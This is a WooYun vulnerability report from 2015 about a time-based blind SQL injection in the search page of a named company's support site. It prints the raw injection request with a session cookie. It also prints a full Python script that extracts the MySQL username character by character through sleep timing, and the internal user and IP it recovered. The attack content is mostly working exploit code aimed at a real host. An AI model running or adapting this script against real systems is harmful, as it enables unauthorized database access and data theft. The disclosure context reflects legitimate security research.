当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120866

漏洞标题:明道某站点MySQL盲注(附验证脚本)

相关厂商:上海万企明道软件有限公司

漏洞作者: 路人甲

提交时间:2015-06-16 15:46

修复时间:2015-06-19 13:17

公开时间:2015-06-19 13:17

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-16: 细节已通知厂商并且等待厂商处理中
2015-06-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

明道某站点MySQL盲注(附验证脚本)

详细说明:

注入点:

GET /posts/search?keyword=aaa'XOR(sleep(ascii(mid(user()from(2)for(1)))>101))OR'bb HTTP/1.1
Referer: http://support.mingdao.com
Cookie: PHPSESSID=k9ctvvsqkn4llkthmv5joq5p40; mobile=2
Host: support.mingdao.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4
Accept: */*

漏洞证明:

[Done] MySQL user is kf5@10.10.6.28


mingdao.png


#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie': 'PHPSESSID=k9ctvvsqkn4llkthmv5joq5p40; mobile=2',
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4',
'Referer': 'http://support.mingdao.com'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 21):
for payload in payloads:
timed_out = 0
for j in range(2):
try:
s = "/posts/search?keyword=aaa'XOR(sleep(ascii(mid(user()from(%s)for(1)))=%s))OR'bb" % (i, ord(payload))
conn = httplib.HTTPConnection('support.mingdao.com', timeout=1)
conn.request(method='GET',url=s, headers=headers)
conn.getresponse().read()
conn.close()
print '.',
break
except:
timed_out += 1
if timed_out == 2:
user += payload
print '\n[in progress]', user,
time.sleep(1.0)
break

print '\n[Done] MySQL user is %s' % user

修复方案:

参数过滤下

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-19 13:17

厂商回复:

第三方漏洞,已修复

最新状态:

暂无


漏洞评价:

评论